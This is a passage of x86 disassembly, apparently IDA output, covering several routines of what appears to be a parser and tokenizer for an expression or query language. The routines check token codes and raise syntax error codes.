		push	[ebp+arg_4]
		call	sub_69B62F36
		jmp	short loc_69B62FEC
; ---------------------------------------------------------------------------


loc_69B62FE2:				; CODE XREF: sub_69B62F72+43j
		push	80070057h
		call	sub_69B2E8B8


loc_69B62FEC:				; CODE XREF: sub_69B62F72+6Ej
		mov	eax, [ebp+var_8]
		mov	[edi+1Ch], eax
		mov	eax, [ebp+arg_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B62F72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B62FFC	proc near		; CODE XREF: sub_69B639EB+4Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+20h]
		cmp	eax, 2Bh
		push	edi
		mov	byte ptr [ebp+var_4], 0
		jz	short loc_69B6301A
		cmp	eax, 2Dh
		jnz	short loc_69B63021
		mov	byte ptr [ebp+var_4], 1


loc_69B6301A:				; CODE XREF: sub_69B62FFC+13j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]


loc_69B63021:				; CODE XREF: sub_69B62FFC+18j
		mov	eax, [esi]
		mov	ebx, [esi+1Ch]
		push	0
		push	0
		mov	ecx, esi
		call	dword ptr [eax+40h]
		push	0
		push	0
		mov	edi, eax
		push	ebx
		push	edi
		mov	ecx, esi
		call	sub_69B62F36
		mov	esi, eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+3Ch]
		push	eax
		push	[ebp+var_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, esi
		call	sub_69B6BFF8
		mov	eax, esi
		add	esi, 10h
		neg	eax
		sbb	eax, eax
		pop	edi
		and	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B62FFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B63068	proc near		; CODE XREF: sub_69B63114+52p

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		push	edi
		mov	edi, [ebp+arg_10]
		mov	[ebp+var_4], esi
		mov	[ebp+var_14], esi
		mov	[ebp+var_10], 0
		jz	short loc_69B63104
		cmp	[ebp+arg_C], 0
		mov	eax, [eax+4]
		mov	[ebp+arg_10], eax
		jz	short loc_69B63101
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+20h]
		cmp	eax, 29h
		jz	short loc_69B630F1
		push	ebx
		mov	ebx, [ebp+arg_14]
		sub	ebx, edi


loc_69B630A3:				; CODE XREF: sub_69B63068+86j
		test	eax, eax
		jz	short loc_69B630F0
		mov	eax, [ebp+arg_10]
		cmp	[ebp+var_4], eax
		mov	ecx, esi
		jge	short loc_69B630E1
		mov	eax, [esi+1Ch]
		push	0
		mov	[ebx+edi], eax
		call	sub_69B62D8D
		mov	[edi], eax
		add	edi, 4
		test	eax, eax
		jz	short loc_69B630CA
		inc	[ebp+var_4]


loc_69B630CA:				; CODE XREF: sub_69B63068+5Dj
		mov	eax, [esi+20h]
		cmp	eax, 2Ch
		jnz	short loc_69B630DB
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		jmp	short loc_69B630E8
; ---------------------------------------------------------------------------


loc_69B630DB:				; CODE XREF: sub_69B63068+68j
		test	eax, eax
		jnz	short loc_69B630E8
		mov	ecx, esi


loc_69B630E1:				; CODE XREF: sub_69B63068+47j
		push	29h
		call	sub_69B629F7


loc_69B630E8:				; CODE XREF: sub_69B63068+71j
					; sub_69B63068+75j
		mov	eax, [esi+20h]
		cmp	eax, 29h
		jnz	short loc_69B630A3


loc_69B630F0:				; CODE XREF: sub_69B63068+3Dj
		pop	ebx


loc_69B630F1:				; CODE XREF: sub_69B63068+33j
		push	29h
		mov	ecx, esi
		call	sub_69B5EB78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]


loc_69B63101:				; CODE XREF: sub_69B63068+28j
		mov	esi, [ebp+var_4]


loc_69B63104:				; CODE XREF: sub_69B63068+1Cj
		lea	ecx, [ebp+var_14]
		call	sub_69B466CC
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn	1Ch
sub_69B63068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B63114	proc near		; DATA XREF: .text:69B614ECo
					; .text:69B6151Co ...

var_54		= dword	ptr -54h
var_34		= dword	ptr -34h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= byte ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_18], bl
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_10], bl
		jz	short loc_69B63142
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		mov	ecx, edi
		push	ebx
		push	0C00CE389h
		call	sub_69B61C54


loc_69B63142:				; CODE XREF: sub_69B63114+1Aj
		cmp	byte ptr [ebp+arg_10], bl
		mov	esi, [ebp+arg_C]
		jz	short loc_69B6316E
		push	8
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_10]
		mov	[esi], ebx
		push	[ebp+arg_8]
		mov	[esi+4], ebx
		push	edi
		push	[ebp+arg_0]
		mov	[esi+8], ebx
		call	sub_69B63068
		mov	[ebp+var_4], eax


loc_69B6316E:				; CODE XREF: sub_69B63114+34j
		cmp	[esi+8], ebx
		jnz	short loc_69B631B2
		cmp	[ebp+var_4], ebx
		jz	short loc_69B631B2
		mov	ecx, [ebp+var_34]
		mov	eax, [ecx]
		lea	edx, [ebp+var_14]
		push	edx
		push	ebx
		push	ebx
		push	ebx
		call	dword ptr [eax+54h]
		cmp	[ebp+var_14], 5
		jz	short loc_69B6319F
		push	ebx
		push	ebx
		push	[ebp+var_54]
		mov	ecx, edi
		push	ebx
		push	0C00CE388h
		call	sub_69B61C54


loc_69B6319F:				; CODE XREF: sub_69B63114+77j
		mov	eax, [ebp+var_C]
		push	edi
		push	dword ptr [edi+34h]
		push	esi
		push	dword ptr [eax+8]
		push	dword ptr [eax+0Ch]
		call	sub_69B6282D


loc_69B631B2:				; CODE XREF: sub_69B63114+5Dj
					; sub_69B63114+62j
		xor	eax, eax
		mov	al, [edi+0Ch]
		push	ebx
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+28h]
		push	[ebp+arg_1C]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	[ebp+arg_14]
		call	sub_69B685B5
		lea	ecx, [ebp+var_14]
		mov	esi, eax
		call	sub_69B466CC
		mov	eax, esi
		add	esi, 8
		neg	eax
		sbb	eax, eax
		pop	edi
		and	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	20h
sub_69B63114	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B631EE	proc near		; DATA XREF: .text:69B6166Co
					; .text:69B6169Co ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_14		= dword	ptr  1Ch
arg_18		= byte ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		cmp	eax, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		jz	short loc_69B6327E
		cmp	eax, 1010h
		jnz	short loc_69B6320F
		cmp	dword ptr [esi+20h], 29h
		jnz	short loc_69B6327E


loc_69B6320F:				; CODE XREF: sub_69B631EE+19j
		xor	edi, edi
		cmp	eax, 2
		jnz	short loc_69B63268
		mov	eax, [esi+1Ch]
		push	edi
		mov	[ebp+arg_14], eax
		mov	eax, [esi]
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+40h]
		cmp	eax, edi
		mov	[ebp+arg_4], eax
		mov	ebx, 0C00CE388h
		jnz	short loc_69B6323F
		push	edi
		push	edi
		push	[ebp+arg_14]
		mov	ecx, esi
		push	edi
		push	ebx
		call	sub_69B61C54


loc_69B6323F:				; CODE XREF: sub_69B631EE+41j
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx]
		push	5
		call	dword ptr [eax+40h]
		mov	edx, [eax]
		mov	ecx, eax
		mov	[ebp+arg_4], eax
		call	dword ptr [edx+3Ch]
		cmp	eax, 5
		jz	short loc_69B63299
		push	edi
		push	edi
		push	[ebp+arg_14]
		mov	ecx, esi
		push	edi
		push	ebx
		call	sub_69B61C54
		jmp	short loc_69B63299
; ---------------------------------------------------------------------------


loc_69B63268:				; CODE XREF: sub_69B631EE+26j
		mov	ecx, [ebp+arg_14]
		cmp	ecx, edi
		jz	short loc_69B63279
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		mov	[ebp+arg_4], eax
		jmp	short loc_69B63299
; ---------------------------------------------------------------------------


loc_69B63279:				; CODE XREF: sub_69B631EE+7Fj
		mov	[ebp+arg_4], edi
		jmp	short loc_69B63299
; ---------------------------------------------------------------------------


loc_69B6327E:				; CODE XREF: sub_69B631EE+12j
					; sub_69B631EE+1Fj
		mov	eax, [esi]
		xor	edi, edi
		push	edi
		push	edi
		mov	ecx, esi
		call	dword ptr [eax+40h]
		push	edi
		push	edi
		push	[ebp+arg_8]
		mov	ecx, esi
		push	eax
		mov	[ebp+arg_4], eax
		call	sub_69B62F36


loc_69B63299:				; CODE XREF: sub_69B631EE+68j
					; sub_69B631EE+78j ...
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+28h]
		mov	al, [ebp+arg_18]
		neg	al
		sbb	eax, eax
		and	eax, [ebp+arg_4]
		push	eax
		call	sub_69B6C788
		push	29h
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B5EB78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	eax, edi
		add	edi, 8
		neg	eax
		sbb	eax, eax
		and	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	20h
sub_69B631EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B632D3	proc near		; DATA XREF: .text:69B618ACo
					; .text:69B618DCo ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ebx, [esi+1Ch]
		push	edi
		xor	edi, edi
		push	edi
		mov	ecx, esi
		mov	[ebp+arg_8], ebx
		call	sub_69B62D8D
		cmp	eax, edi
		mov	[ebp+arg_4], eax
		jnz	short loc_69B63303
		push	edi
		push	edi
		push	ebx
		push	edi
		push	0C00CE38Dh
		mov	ecx, esi
		call	sub_69B61C54


loc_69B63303:				; CODE XREF: sub_69B632D3+1Ej
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		push	dword ptr [ebx+28h]
		mov	eax, [ecx]
		call	dword ptr [eax+40h]
		mov	edx, [eax]
		mov	ecx, eax
		mov	[ebp+arg_4], eax
		call	dword ptr [edx+3Ch]
		cmp	eax, [ebx+28h]
		jz	short loc_69B63332
		push	edi
		push	edi
		push	[ebp+arg_8]
		mov	ecx, esi
		push	edi
		push	0C00CE38Ah
		call	sub_69B61C54


loc_69B63332:				; CODE XREF: sub_69B632D3+4Bj
		push	29h
		mov	ecx, esi
		call	sub_69B5EB78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	eax, [ebp+arg_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	20h
sub_69B632D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6334C	proc near		; DATA XREF: .text:69B614BCo

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	eax, [edi]
		xor	ebx, ebx
		push	ebx
		push	ebx
		mov	ecx, edi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], bl
		call	dword ptr [eax+40h]
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		mov	ecx, edi
		push	eax
		call	sub_69B62F36
		push	1
		xor	ecx, ecx
		mov	cl, [edi+0Ch]
		push	ebx
		push	ebx
		push	ecx
		push	eax
		push	[ebp+arg_14]
		call	sub_69B68C7E
		push	ebx
		push	[ebp+arg_14]
		mov	esi, eax
		push	[ebp+arg_8]
		add	eax, 8
		neg	esi
		sbb	esi, esi
		and	esi, eax
		push	esi
		mov	ecx, edi
		call	sub_69B62F36
		push	29h
		mov	ecx, edi
		call	sub_69B5EB78
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+44h]
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	20h
sub_69B6334C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B633C4	proc near		; DATA XREF: .text:69B613FCo

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= qword	ptr -8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+20h]
		xor	ebx, ebx
		cmp	eax, 0FFFFFFFAh
		push	edi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], bl
		jz	short loc_69B633FC
		cmp	eax, 2Dh
		jz	short loc_69B633FC
		cmp	eax, 29h
		jnz	short loc_69B63440
		fld	ds:dbl_69B296B0
		mov	[ebp+var_10], 3
		fstp	[ebp+var_8]
		jmp	short loc_69B63440
; ---------------------------------------------------------------------------


loc_69B633FC:				; CODE XREF: sub_69B633C4+1Aj
					; sub_69B633C4+1Fj
		push	ebx
		mov	ecx, esi
		call	sub_69B62D8D
		mov	edx, [eax]
		push	3
		mov	ecx, eax
		call	dword ptr [edx+40h]
		mov	edi, eax
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+3Ch]
		cmp	eax, 3
		jz	short loc_69B6342D
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		mov	ecx, esi
		push	ebx
		push	0C00CE38Ah
		call	sub_69B61C54


loc_69B6342D:				; CODE XREF: sub_69B633C4+55j
		lea	ecx, [ebp+var_10]
		fldz
		push	ecx
		fstp	[ebp+var_8]
		mov	eax, [edi]
		push	ebx
		push	ebx
		push	ebx
		mov	ecx, edi
		call	dword ptr [eax+54h]


loc_69B63440:				; CODE XREF: sub_69B633C4+24j
					; sub_69B633C4+36j
		lea	ecx, [ebp+var_10]
		call	sub_69B61F10
		test	al, al
		jnz	short loc_69B6345E
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		mov	ecx, esi
		push	ebx
		push	0C00CE38Eh
		call	sub_69B61C54


loc_69B6345E:				; CODE XREF: sub_69B633C4+86j
		fld	[ebp+var_8]
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	eax
		call	sub_69B1A82C
		push	eax
		call	sub_69B6B83C
		push	29h
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B5EB78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		mov	eax, edi
		add	edi, 8
		neg	eax
		sbb	eax, eax
		and	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	20h
sub_69B633C4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6349E	proc near		; CODE XREF: sub_69B63A6B+1Cp

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+1Ch]
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	[ebp+var_4], eax
		call	sub_69B5EA61
		mov	eax, [esi+20h]
		cmp	eax, 28h
		jg	loc_69B6358B
		jz	short loc_69B6353B
		cmp	eax, 0FFFFFFFAh
		jl	loc_69B6359E
		cmp	eax, 0FFFFFFFBh
		jle	short loc_69B6352C
		cmp	eax, 0FFFFFFFCh
		jz	short loc_69B6351D
		cmp	eax, 0FFFFFFFEh
		jz	short loc_69B634EB
		cmp	eax, ebx
		jnz	loc_69B6359E
		jmp	loc_69B63762
; ---------------------------------------------------------------------------


loc_69B634EB:				; CODE XREF: sub_69B6349E+3Ej
		push	1
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	ebx
		push	ebx
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_69B68C7E
		push	ebx
		push	[ebp+arg_0]
		mov	edi, eax
		push	[ebp+var_4]
		add	eax, 8
		neg	edi
		sbb	edi, edi
		and	edi, eax
		push	edi
		mov	ecx, esi
		call	sub_69B62F36
		jmp	loc_69B63661
; ---------------------------------------------------------------------------


loc_69B6351D:				; CODE XREF: sub_69B6349E+39j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		push	[ebp+arg_0]
		jmp	loc_69B63759
; ---------------------------------------------------------------------------


loc_69B6352C:				; CODE XREF: sub_69B6349E+34j
		push	[ebp+arg_8]
		mov	ecx, esi
		call	sub_69B62D8D
		jmp	loc_69B63760
; ---------------------------------------------------------------------------


loc_69B6353B:				; CODE XREF: sub_69B6349E+26j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	eax, [esi]
		push	ebx
		push	ebx
		mov	ecx, esi
		call	dword ptr [eax+40h]
		push	ebx
		push	[ebp+arg_0]
		mov	edi, eax
		push	[ebp+var_4]
		mov	ecx, esi
		push	edi
		call	sub_69B62F36
		cmp	edi, ebx
		jz	short loc_69B6357D
		xor	ecx, ecx
		mov	cl, [esi+0Ch]
		push	ecx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_69B667B7
		mov	edi, eax
		add	eax, 8
		neg	edi
		sbb	edi, edi
		and	edi, eax


loc_69B6357D:				; CODE XREF: sub_69B6349E+C0j
		push	29h
		mov	ecx, esi
		call	sub_69B5EB78
		jmp	loc_69B63661
; ---------------------------------------------------------------------------


loc_69B6358B:				; CODE XREF: sub_69B6349E+20j
		cmp	eax, 2Ah
		jz	loc_69B63640
		cmp	eax, 2Eh
		jz	short loc_69B6360C
		cmp	eax, 40h
		jz	short loc_69B635AB


loc_69B6359E:				; CODE XREF: sub_69B6349E+2Bj
					; sub_69B6349E+42j
		push	ebx
		mov	ecx, esi
		call	sub_69B62438
		jmp	loc_69B63762
; ---------------------------------------------------------------------------


loc_69B635AB:				; CODE XREF: sub_69B6349E+FEj
		lea	eax, [esi+30h]
		push	ebx
		push	eax
		call	sub_69B17320
		lea	eax, [esi+30h]
		lea	ecx, [esi+2Ch]
		push	eax
		call	sub_69B4D414
		push	eax
		lea	ecx, [esi+28h]
		call	sub_69B4D414
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	eax, [esi+1Ch]
		mov	[ebp+var_4], eax
		mov	eax, [esi+20h]
		cmp	eax, 0FFFFFFFCh
		jz	short loc_69B635F2
		cmp	eax, 2Ah
		jz	short loc_69B635F2
		push	0FFFFFFFCh
		mov	ecx, esi
		call	sub_69B629F7
		jmp	loc_69B63762
; ---------------------------------------------------------------------------


loc_69B635F2:				; CODE XREF: sub_69B6349E+13Fj
					; sub_69B6349E+144j
		mov	eax, [esi+30h]
		mov	edi, [esi+2Ch]
		mov	ecx, [esi+28h]
		xor	edx, edx
		mov	dl, [esi+0Ch]
		push	ebx
		push	edx
		push	0Fh
		push	[ebp+arg_8]
		push	eax
		push	edi
		push	ecx
		jmp	short loc_69B6364E
; ---------------------------------------------------------------------------


loc_69B6360C:				; CODE XREF: sub_69B6349E+F9j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_69B63624
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		jmp	loc_69B63760
; ---------------------------------------------------------------------------


loc_69B63624:				; CODE XREF: sub_69B6349E+17Aj
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	eax
		push	ebx
		call	sub_69B67D20
		mov	edi, eax
		add	eax, 8
		neg	edi
		sbb	edi, edi
		and	edi, eax
		jmp	loc_69B63762
; ---------------------------------------------------------------------------


loc_69B63640:				; CODE XREF: sub_69B6349E+F0j
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	ebx
		push	eax
		push	ebx
		push	[ebp+arg_8]
		push	ebx
		push	ebx
		push	ebx


loc_69B6364E:				; CODE XREF: sub_69B6349E+16Cj
		push	[ebp+arg_0]
		call	sub_69B685B5
		mov	edi, eax
		add	eax, 8
		neg	edi
		sbb	edi, edi
		and	edi, eax


loc_69B63661:				; CODE XREF: sub_69B6349E+7Aj
					; sub_69B6349E+E8j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		jmp	loc_69B63762
; ---------------------------------------------------------------------------


loc_69B6366D:				; CODE XREF: sub_69B6349E+2C9j
		cmp	eax, 5Bh
		mov	ecx, [ebp+arg_8]
		mov	[ebp+arg_0], ecx
		jnz	loc_69B6372E
		push	ebx
		push	ebx
		push	[ebp+var_4]
		mov	ecx, esi
		push	edi
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], bl
		call	sub_69B62F36
		mov	[ebp+var_8], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		mov	eax, [esi+1Ch]
		mov	ecx, esi
		mov	[ebp+var_4], eax
		call	sub_69B62D2E
		push	5Dh
		mov	ecx, esi
		mov	edi, eax
		call	sub_69B5EB78
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		cmp	edi, ebx
		jz	loc_69B63779
		mov	eax, [edi]
		lea	ecx, [ebp+var_18]
		push	ecx
		push	ebx
		push	ebx
		push	ebx
		mov	ecx, edi
		call	dword ptr [eax+54h]
		lea	ecx, [ebp+var_18]
		call	sub_69B61F10
		test	al, al
		jz	short loc_69B63706
		push	5
		push	ebx
		call	sub_69B6C788
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		push	edi
		and	ecx, eax
		push	ecx
		push	2
		call	sub_69B69E36
		mov	ecx, eax
		add	eax, 8
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	edi, ecx
		mov	[ebp+arg_0], ebx


loc_69B63706:				; CODE XREF: sub_69B6349E+23Aj
		xor	eax, eax
		mov	al, [esi+0Ch]
		push	eax
		push	[ebp+arg_0]
		push	edi
		push	ebx
		push	[ebp+var_8]
		call	sub_69B65FCF
		mov	edi, eax
		add	eax, 8
		neg	edi
		sbb	edi, edi
		lea	ecx, [ebp+var_18]
		and	edi, eax
		call	sub_69B466CC
		jmp	short loc_69B63762
; ---------------------------------------------------------------------------


loc_69B6372E:				; CODE XREF: sub_69B6349E+1D8j
		cmp	eax, 21h
		jnz	short loc_69B6376D
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+44h]
		push	0FFFFFFFCh
		mov	ecx, esi
		call	sub_69B5EB78
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_4]
		push	1
		push	ebx
		push	ebx
		push	[ebp+var_4]
		push	edi
		call	sub_69B62F36
		push	eax


loc_69B63759:				; CODE XREF: sub_69B6349E+89j
		mov	ecx, esi
		call	sub_69B62690


loc_69B63760:				; CODE XREF: sub_69B6349E+98j
					; sub_69B6349E+181j
		mov	edi, eax


loc_69B63762:				; CODE XREF: sub_69B6349E+48j
					; sub_69B6349E+108j ...
		mov	eax, [esi+20h]
		cmp	eax, ebx
		jnz	loc_69B6366D


loc_69B6376D:				; CODE XREF: sub_69B6349E+293j
		dec	dword ptr [esi+48h]
		mov	eax, edi


loc_69B63772:				; CODE XREF: sub_69B6349E+2E8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_69B63779:				; CODE XREF: sub_69B6349E+21Cj
		lea	ecx, [ebp+var_18]
		call	sub_69B466CC
		dec	dword ptr [esi+48h]
		xor	eax, eax
		jmp	short loc_69B63772
sub_69B6349E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B63788	proc near		; DATA XREF: .text:69B12B74o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B60C68
		mov	eax, [esi+18h]
		lea	edx, [eax-2]
		movzx	eax, word ptr [esi+0Eh]
		push	2Fh
		pop	edi
		cmp	eax, edi
		mov	[esi+1Ch], edx
		jg	loc_69B638CC
		jz	loc_69B638A4
		cmp	eax, 24h
		jg	short loc_69B6382B
		jz	short loc_69B6380B
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_69B637D8
		push	21h
		pop	edi
		sub	ecx, edi
		jz	short loc_69B637E9
		dec	ecx
		jz	loc_69B6386B
		dec	ecx
		jnz	loc_69B63964


loc_69B637D8:				; CODE XREF: sub_69B63788+39j
					; sub_69B63788+B6j ...
		mov	ecx, esi
		mov	[esi+20h], eax
		call	sub_69B5EA78


loc_69B637E2:				; CODE XREF: sub_69B63788+81j
					; sub_69B63788+98j ...
		mov	eax, [esi+20h]
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B637E9:				; CODE XREF: sub_69B63788+40j
		mov	ecx, esi
		call	sub_69B5EA78
		cmp	word ptr [esi+0Eh], 3Dh
		jnz	loc_69B638C4
		mov	ecx, esi
		call	sub_69B5EA78
		mov	dword ptr [esi+20h], 0FFFFFFF9h
		jmp	short loc_69B637E2
; ---------------------------------------------------------------------------


loc_69B6380B:				; CODE XREF: sub_69B63788+32j
		mov	ecx, esi
		call	sub_69B5EA78
		xor	eax, eax
		mov	ax, [esi+0Eh]
		push	eax
		call	sub_69B31914
		test	eax, eax
		jz	short loc_69B637E2
		mov	ecx, esi
		call	sub_69B62E54
		jmp	short loc_69B637E2
; ---------------------------------------------------------------------------


loc_69B6382B:				; CODE XREF: sub_69B63788+30j
		cmp	eax, 26h
		jz	short loc_69B63877
		cmp	eax, 27h
		jz	short loc_69B6386B
		jle	loc_69B63964
		cmp	eax, 2Dh
		jle	short loc_69B637D8
		push	2Eh
		pop	edi
		cmp	eax, edi
		jnz	loc_69B63964
		mov	ecx, esi
		call	sub_69B5EA78
		cmp	[esi+0Eh], di
		jnz	short loc_69B638C4
		mov	ecx, esi
		call	sub_69B5EA78
		mov	dword ptr [esi+20h], 0FFFFFFFEh
		jmp	loc_69B637E2
; ---------------------------------------------------------------------------


loc_69B6386B:				; CODE XREF: sub_69B63788+43j
					; sub_69B63788+ABj
		mov	ecx, esi
		call	sub_69B62780
		jmp	loc_69B637E2
; ---------------------------------------------------------------------------


loc_69B63877:				; CODE XREF: sub_69B63788+A6j
		mov	ecx, esi
		call	sub_69B5EA78
		cmp	word ptr [esi+0Eh], 26h
		mov	ecx, esi
		jnz	short loc_69B63898
		call	sub_69B5EA78
		mov	dword ptr [esi+20h], 0FFFFFFF6h
		jmp	loc_69B637E2
; ---------------------------------------------------------------------------


loc_69B63898:				; CODE XREF: sub_69B63788+FDj
		push	0FFFFFFF6h
		call	sub_69B629F7
		jmp	loc_69B637E2
; ---------------------------------------------------------------------------


loc_69B638A4:				; CODE XREF: sub_69B63788+27j
		mov	ecx, esi
		call	sub_69B5EA78
		cmp	[esi+0Eh], di
		jnz	short loc_69B638C4
		mov	ecx, esi
		call	sub_69B5EA78
		mov	dword ptr [esi+20h], 0FFFFFFFDh
		jmp	loc_69B637E2
; ---------------------------------------------------------------------------


loc_69B638C4:				; CODE XREF: sub_69B63788+6Dj
					; sub_69B63788+CEj ...
		mov	[esi+20h], edi
		jmp	loc_69B637E2
; ---------------------------------------------------------------------------


loc_69B638CC:				; CODE XREF: sub_69B63788+21j
		cmp	eax, 40h
		jg	short loc_69B6394C
		jz	loc_69B637D8
		cmp	eax, 3Ah
		jl	loc_69B63964
		cmp	eax, 3Bh
		jle	loc_69B637D8
		cmp	eax, 3Ch
		jz	short loc_69B63924
		cmp	eax, 3Dh
		jz	loc_69B637D8
		cmp	eax, 3Eh
		jnz	short loc_69B63964
		mov	ecx, esi
		mov	[esi+20h], eax
		call	sub_69B5EA78
		cmp	word ptr [esi+0Eh], 3Dh
		jnz	loc_69B637E2
		mov	ecx, esi
		call	sub_69B5EA78
		mov	dword ptr [esi+20h], 0FFFFFFF7h
		jmp	loc_69B637E2
; ---------------------------------------------------------------------------


